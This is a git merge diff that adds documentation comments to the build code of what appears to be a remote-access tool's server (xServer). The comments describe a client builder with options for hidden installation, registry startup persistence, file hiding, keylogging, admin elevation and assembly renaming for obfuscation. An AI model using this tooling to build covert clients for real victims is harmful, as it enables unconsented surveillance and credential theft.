Merge pull request #82 from yankejustin/master

Added documentation for the Server's Build folder
This commit is contained in:
MaxXor 2015-05-05 20:01:21 +02:00
commit e776e1dab9
3 changed files with 69 additions and 8 deletions

View File

@ -7,8 +7,35 @@
namespace xServer.Core.Build
{
/// <summary>
/// Provides methods used to create a custom client executable.
/// </summary>
public static class ClientBuilder
{
/// <summary>
/// Builds a client executable. Assumes that the binaries for the client exist.
/// </summary>
/// <param name="output">The name of the final file.</param>
/// <param name="host">The URI location of the host.</param>
/// <param name="password">The password that is used to connect to the website.</param>
/// <param name="installsub">The sub-folder to install the client.</param>
/// <param name="installname">Name of the installed executable.</param>
/// <param name="mutex">The client's mutex</param>
/// <param name="startupkey">The registry key to add for running on startup.</param>
/// <param name="install">Decides whether to install the client on the machine.</param>
/// <param name="startup">Determines whether to add the program to startup.</param>
/// <param name="hidefile">Determines whether to hide the file.</param>
/// <param name="keylogger">Determines if keylogging functionality should be activated.</param>
/// <param name="port">The port the client will use to connect to the server.</param>
/// <param name="reconnectdelay">The amount the client will wait until attempting to reconnect.</param>
/// <param name="installpath">The installation path of the client.</param>
/// <param name="adminelevation">Determines whether the client should (attempt) to obtain administrator privileges.</param>
/// <param name="iconpath">The path to the icon for the client.</param>
/// <param name="asminfo">Information about the client executable's assembly information.</param>
/// <param name="version">The version number of the client.</param>
/// <exception cref="System.Exception">Thrown if the builder was unable to rename the client executable.</exception>
/// <exception cref="System.ArgumentException">Thrown if an invalid special folder was specified.</exception>
/// <exception cref="System.IO.FileLoadException">Thrown if the client binaries do not exist.</exception>
public static void Build(string output, string host, string password, string installsub, string installname,
string mutex, string startupkey, bool install, bool startup, bool hidefile, bool keylogger, int port,
int reconnectdelay,
@ -154,11 +181,22 @@ public static class ClientBuilder
IconInjector.InjectIcon(output, iconpath);
}
/// <summary>
/// Obtains the OpCode that corresponds to the bool value provided.
/// </summary>
/// <param name="p">The value to convert to the OpCode</param>
/// <returns>Returns the OpCode that represents the value provided.</returns>
private static OpCode BoolOpcode(bool p)
{
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
}
/// <summary>
/// Attempts to obtain the signed-integer value of a special folder from the install path value provided.
/// </summary>
/// <param name="installpath">The integer value of the install path.</param>
/// <returns>Returns the signed-integer value of the special folder.</returns>
/// <exception cref="System.ArgumentException">Thrown if the path to the special folder was invalid.</exception>
private static sbyte GetSpecialFolder(int installpath)
{
switch (installpath)

View File

@ -48,21 +48,37 @@ private struct ICONDIR
[StructLayout(LayoutKind.Sequential)]
private struct ICONDIRENTRY
{
// Width, in pixels, of the image
/// <summary>
/// The width, in pixels, of the image.
/// </summary>
public byte Width;
// Height, in pixels, of the image
/// <summary>
/// The height, in pixels, of the image.
/// </summary>
public byte Height;
// Number of colors in image (0 if >=8bpp)
/// <summary>
/// The number of colors in the image; (0 if >= 8bpp)
/// </summary>
public byte ColorCount;
// Reserved ( must be 0)
/// <summary>
/// Reserved (must be 0).
/// </summary>
public byte Reserved;
// Color Planes
/// <summary>
/// Color planes.
/// </summary>
public ushort Planes;
// Bits per pixel
/// <summary>
/// Bits per pixel.
/// </summary>
public ushort BitCount;
// Length in bytes of the pixel data
/// <summary>
/// The length, in bytes, of the pixel data.
/// </summary>
public int BytesInRes;
// Offset in the file where the pixel data starts.
/// <summary>
/// The offset in the file where the pixel data starts.
/// </summary>
public int ImageOffset;
}

View File

@ -7,6 +7,9 @@ namespace xServer.Core.Build
{
public class Renamer
{
/// <summary>
/// Contains the assembly definition.
/// </summary>
public AssemblyDefinition AsmDef { get; set; }
private int length { get; set; }
@ -30,6 +33,10 @@ public Renamer(AssemblyDefinition asmDef, int length)
eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
}
/// <summary>
/// Attempts to modify the assembly definition data.
/// </summary>
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
public bool Perform()
{
try